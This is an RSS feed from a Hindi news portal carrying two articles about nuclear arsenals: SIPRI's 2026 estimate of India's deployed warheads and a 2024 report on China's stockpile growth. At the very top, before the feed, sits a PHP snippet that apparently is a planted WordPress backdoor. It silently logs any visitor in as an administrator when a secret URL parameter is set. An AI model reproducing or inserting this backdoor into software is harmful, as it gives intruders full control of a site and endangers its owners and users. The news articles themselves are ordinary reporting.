// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); nuclear weapon – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Thu, 11 Jun 2026 05:37:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 भारत की रणनीतिक ताकत में बड़ा इजाफा, 12 परमाणु हथियारों की तैनाती से बदला सुरक्षा समीकरण https://pratyushaashakinayikiran.com/?p=226259 Thu, 11 Jun 2026 05:37:00 +0000 https://pratyushaashakinayikiran.com/?p=226259 बेंगलुरु 

भारत की परमाणु रणनीति को लेकर एक नई अंतरराष्ट्रीय रिपोर्ट ने बड़ा दावा किया है. स्टॉकहोम इंटरनेशनल पीस रिसर्च इंस्टीट्यूट (SIPRI) की ईयरबुक 2026 के मुताबिक भारत ने पहली बार अपने कुछ परमाणु हथियारों को ऑपरेशनल रूप से तैनात किया है. अगर यह आकलन सही साबित होता है तो इसे भारत की परमाणु नीति और सैन्य तैयारियों में एक महत्वपूर्ण बदलाव माना जाएगा। 

रिपोर्ट ऐसे समय सामने आई है जब SIPRI ने दुनिया को चेतावनी दी है कि वैश्विक स्तर पर एक नई परमाणु हथियारों की होड़ शुरू हो चुकी है. भू-राजनीतिक तनाव, सैन्य आधुनिकीकरण और हथियार नियंत्रण समझौतों के कमजोर पड़ने के कारण परमाणु जोखिम लगातार बढ़ रहे हैं। 

भारत ने बदली परमाणु नीति?
SIPRI के अनुसार जनवरी 2026 तक भारत के पास अनुमानित 190 परमाणु हथियार थे, जबकि एक साल पहले यह संख्या 180 बताई गई थी. रिपोर्ट की सबसे महत्वपूर्ण बात यह है कि इनमें से करीब 12 परमाणु वारहेड अब ऑपरेशनल फोर्स के साथ तैनात हो सकते हैं. अब तक माना जाता रहा है कि भारत शांति काल में अपने परमाणु हथियार और मिसाइल सिस्टम को अलग-अलग रखता है, ताकि किसी भी परमाणु कार्रवाई पर अंतिम नियंत्रण राजनीतिक नेतृत्व के पास रहे । 

विशेषज्ञों का मानना है कि सीमित संख्या में वारहेड की तैनाती भारत की अधिक तेज और प्रभावी प्रतिरोध क्षमता की दिशा में उठाया गया कदम हो सकता है. खासकर तब, जब भारत अपनी समुद्र आधारित परमाणु क्षमता को लगातार मजबूत कर रहा है। 

आक्रमण नहीं, हिफाजत के लिए परमाणु हथियार
भारत की परमाणु नीति लंबे समय से ‘नो फर्स्ट यूज’ और ‘क्रेडिबल मिनिमम डिटरेंस’ यानी विश्वसनीय न्यूनतम प्रतिरोध क्षमता के सिद्धांत पर आधारित रही है. इसका मतलब यह है कि भारत परमाणु हथियारों को आक्रमण के लिए नहीं, बल्कि दुश्मन को हमले से रोकने के लिए रखता है. SIPRI की रिपोर्ट में कहीं भी यह नहीं कहा गया है कि भारत की आधिकारिक परमाणु नीति में बदलाव हुआ है, लेकिन यह जरूर संकेत दिया गया है कि रणनीतिक बलों की तैयारियों का स्तर पहले से अधिक मजबूत हुआ है। 

चीन भी तेजी से बढ़ा रहा परमाणु जखीरा
रिपोर्ट में कहा गया है कि भारत की परमाणु आधुनिकीकरण प्रक्रिया पर सबसे बड़ा प्रभाव चीन की तेजी से बढ़ती सैन्य और परमाणु क्षमता का है. SIPRI के मुताबिक चीन दुनिया में सबसे तेजी से अपना परमाणु जखीरा बढ़ा रहा है. इसी वजह से भारत ने ऐसी नई मिसाइल प्रणालियां विकसित की हैं जो चीन के भीतर दूर तक स्थित लक्ष्यों को निशाना बनाने में सक्षम हैं. इससे साफ संकेत मिलता है कि भारत की रणनीतिक सोच अब केवल पाकिस्तान तक सीमित नहीं रही है। 

हालांकि पाकिस्तान भी भारत की सुरक्षा गणनाओं का महत्वपूर्ण हिस्सा बना हुआ है. पिछले एक दशक में दोनों देशों ने नई मिसाइल प्रणालियों और परमाणु हथियारों को ले जाने वाले प्लेटफॉर्म विकसित किए हैं. ऐसे में दक्षिण एशिया में रणनीतिक संतुलन बनाए रखना भारत की प्राथमिकता बना हुआ है। 

दुनियाभर में कितने परमाणु हथियार?
वैश्विक स्तर पर भी परमाणु हथियारों का महत्व बढ़ता दिखाई दे रहा है. SIPRI के अनुसार दुनिया के नौ परमाणु संपन्न देशों के पास कुल मिलाकर लगभग 12,187 परमाणु वारहेड हैं. इनमें से लगभग सभी देश अपने परमाणु शस्त्रागार के आधुनिकीकरण में जुटे हुए हैं. रिपोर्ट का निष्कर्ष है कि सुरक्षा रणनीतियों में परमाणु हथियारों की भूमिका लगातार बढ़ रही है और दुनिया धीरे-धीरे एक नए न्यूक्लियर आर्म्स रेस की ओर बढ़ रही है। 

इसी व्यापक वैश्विक परिदृश्य में भारत की कथित ऑपरेशनल तैनाती को भी देखा जा रहा है. भले ही इसकी संख्या सीमित हो, लेकिन रक्षा विशेषज्ञों का मानना है कि यह कदम भारत की प्रतिरोध क्षमता को अधिक विश्वसनीय और प्रभावी बनाने की दिशा में महत्वपूर्ण माना जा सकता है. खासकर ऐसे दौर में जब चीन और पाकिस्तान दोनों मोर्चों पर सुरक्षा चुनौतियां लगातार बढ़ रही हैं। 

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ड्रैगन के पास हो जाएंगे 1000 परमाणु बम, चीन परमाणु क्षमताओं की पूरी सीरीज विकसित कर रहा: रिपोर्ट https://pratyushaashakinayikiran.com/?p=91681 Wed, 30 Oct 2024 09:08:00 +0000 https://pratyushaashakinayikiran.com/?p=91681 बीजिंग
 चीन तेजी से अपने परमाणु हथियारों को बढ़ा रहा है और अगले छह साल में इनकी संख्या एक हजार को पार कर जाएगी। अमेरिकी रक्षा खुफिया एजेंसी की रिपोर्ट में ये दावा किया गया है। अमेरिकी एजेंसी की 'परमाणु चुनौतियां: रणनीतिक प्रतिस्पर्धियों और क्षेत्रीय प्रतिद्वंद्वियों की बढ़ती क्षमताएं' शीर्षक से आई इस रिपोर्ट कहा गया है कि चीन नई परमाणु क्षमताओं की पूरी सीरीज विकसित कर रहा है। इसमें परमाणु मिसाइल साइलो का सबसे बड़ा निर्माण भी शामिल है।

द वीक की रिपोर्ट के मुताबिक, चीन अपनी रणनीतिक महत्वाकांक्षाएं और सुरक्षा हित के लिए परमाणु हथियारों का आधुनिकीकरण कर रहा हैं। चीन जिन हथियारों पर काम कर रहा है, उनमें न्यूक्लियर मिसाइलों पर खास ध्यान है। इसमें ग्राउंडमोबाइल, पनडुब्बी-प्रक्षेपित हथियार: परमाणु-सक्षम हाइपरसोनिक ग्लाइड वाहन (एचजीवी) क्षमताएं शामिल हैं।

चीन के परमाणु हथियार चिंता का सबब

रिपोर्ट कहती है कि चीन तेजी से अपने परमाणु हथियार भंडार का विस्तार कर रहा है। ये अगले दशक में यथास्थिति को अस्थिर करने की क्षमता रखता है क्योंकि यह नई प्रणालियों के उपयोग के लिए अवधारणाओं को विकसित करता है। अमेरिकी रक्षा विभाग के अनुसार, चीन का अनुमानित परमाणु हथियार भंडार 2030 तकदोगुना होने की उम्मीद है। बीजिंग के परमाणु भंडार में फिलहाल 500 से ज्यादा परिचालन परमाणु हथियार हैं।

रिपोर्ट में अनुमान जाहिर किया गया है कि 2030 तक चीन के पास 1,000 से अधिक परिचालन परमाणु हथियार होंगे, जिनमें से अधिकांश महाद्वीपीय अमेरिका तक पहुंचने में सक्षम प्रणालियों पर तैनात किए जाएंगे। रिपोर्ट में कहा गया है कि चीन अपने शस्त्रागार में आईसीबीएम-रेंज परमाणु-सशस्त्र एचजीवी सहित पूरी तरह से नई परमाणु क्षमताओं को पेश करने के लिए भी काम कर रहा है, जिनमें से कुछ को निकट भविष्य में मैदान में उतारा जाएगा, अगर पहले से ही मैदान में नहीं उतारा गया है।

किस देश के पास कितने परमाणु हथियार

स्वीडिश थिंक टैंक स्टॉकहोम इंटरनेशनल पीस रिसर्च इंस्टीट्यूट यानी सिपरी (SIPRI) की इस साल जून में आई रिपोर्ट में चीन के पास 500 न्यूक्लियर वॉरहेड होने की बात कही गई थी। जनवरी 2023 में चीन के पास 410 न्यूक्लियर वॉरहेड का जखीरा था लेकिन एक साल यानी जनवरी 2024 तक इनकी संख्या 500 हो गई। रिपोर्ट कहती है कि अमेरिका, रूस, ब्रिटेन, फ्रांस, चीन, भारत, पाकिस्तान, उत्तर कोरिया और इजरायल लगातार अपने परमाणु हथियार भंडारों का आधुनिकीकरण कर रहे हैं।

रिपोर्ट के मुताबिक जनवरी 2024 में पूरी दुनिया में 12,221 वॉरहेड थे। इनमें से 9585 संभावित इस्तेमाल के लिए हथियार भंडार में रखे गए हैं। रिपोर्ट के मुताबिक रूस और अमेरिका के पास दुनिया के कुल परमाणु हथियारों का 90 फीसदी स्टॉक है। दोनों के परमाणु हथियारों की संख्या पांच-पांच हजार के ऊपर हैं। रूस और अमेरिका के बाद चीन का नंबर आता है। हालांकि रूस और अमेरिका की तुलना में चीन के हथियारों का भंडार काफी छोटा है।

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